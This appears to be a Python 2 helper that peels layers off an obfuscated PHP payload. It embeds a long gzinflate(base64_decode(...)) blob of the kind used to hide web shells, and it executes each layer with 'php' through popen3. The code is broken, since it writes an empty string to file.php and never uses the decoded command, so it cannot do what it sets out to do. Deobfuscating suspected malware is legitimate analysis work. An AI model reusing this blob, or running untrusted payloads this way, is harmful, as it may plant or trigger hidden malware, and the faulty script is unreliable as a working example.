def exec_cmd(run_me): r, w, e = popen2.popen3(run_me) erro_ret = e.readlines() read_ret = r.readlines() r.close() e.close() w.close() #return the result of system command if (len(read_ret)>0): return read_ret[0].strip('\n') def work(): command = "gzinflate(base64_decode('DdNHzptaAEDh5SQRA5ppijIw9RpMb4bJE5eO6R1W//4NHOkbnHxP2t/lXfdFm6z5b5gsOf34L8vTIct//5JjA8yTET2fgoVxeG3bMRzwx1OkdL1TyrzjpKYL+YvavZs63PY7zZf4wdGCpieNoYbrw/aJ/qColV08dFlQFHvH7zlp1KgTJL6sI8PkfWmJPibADDTbqrg5ySZzBLbX4ekgQrboGgXHeyt3INBnCGcpGuFDSdqHhmix93w451wwo5FscVEGzIhSZlLqEtvfg2oR8wt70Se+MBZ+wrzzkm+NU7QoSQfipq+kLGwuofzvFEbL4eQpWftOAqqLsjRR4F1CHiZ/tDtzXJN4DuyCj+G3uLOedC5hJ3J65tZ9Hwpxs0tlXRAhb0Gd63FjhmgXNpHpOoHyJb3K+cDYkT9bOthf9HqzG4YKae8a/fvNPRpMIX6SMAZM6NiiJl7Gp/kAFrCBOYfIUM5GnybP7aG8MRBQ35mp5r6KRvacplG2ZrtGXxNppHgF4Sjr8eqQrAWrZwuUXgxOsz/6lD6EC7d0BGLtY8CSdjaY1CqbNmzlpYFeMQqzbEUp5wKXhQ+2Nwv4eVaJX9nmRIWs2d8SUgqqR69qyBPENvvV/TVe+wkbbvZRB4K1G2rO1Xjs4xU5EVWuue4HKGuRZ0MJtKKuVzi3Fc2zH6yiTsv8MrT1RbpyLrf8uXJ0f1wRjLslXdZeKfcEtp0ZqMAzruaL6kJ9tiJ5MToBg0kelLgj/X3r0jK4M3sDSPLuONQwRWHG9WmJmQsJEXVsRp+3ER3YXtwIALQxh61O66LrTUdtpHTLmVUJQxSwNG0sqPRT2gY3WdkODK+05aVRMIQ8sr0u5NbnCZYjsyfSuTsajFWHd3XKtSSTGU0vN5lKiXLF0t7wzId15r7GgVJa/S6dkfo09732bUVRe2z9bJK8Yz7sMHHo2z4+wklXlV7Qyqlgaomk3RXDd5ciBlZqkPh+ax4NlgU7olly5yp3h5yr+CB5FYkxCcEBOvt8lpFZVfCcsnDzfXm496zTizzCS/wje6sD/FK+9J05O5YoxaZyEd9RZwfzOE8wbsqiTT5JLeU1agNnjpGH8BKZNrG3g2lcCzBvW0WdrD556qh+KLNQuC+/mKdaEJpxuoyXao+LrRZEGSfV2gIh66my8Y+e/kEjOvRMgVkKFEWQ3ervG0Wf9r9/v/78+fP3fw=='));" i=1 while 1: f=open("file.php",'w') f.write("") f.close() result = exec_cmd("php file.php") print "Iteration", i print result if (result[:4] != "eval"): break time.sleep(1) command = result[4:] i+=1 if __name__=="__main__": work()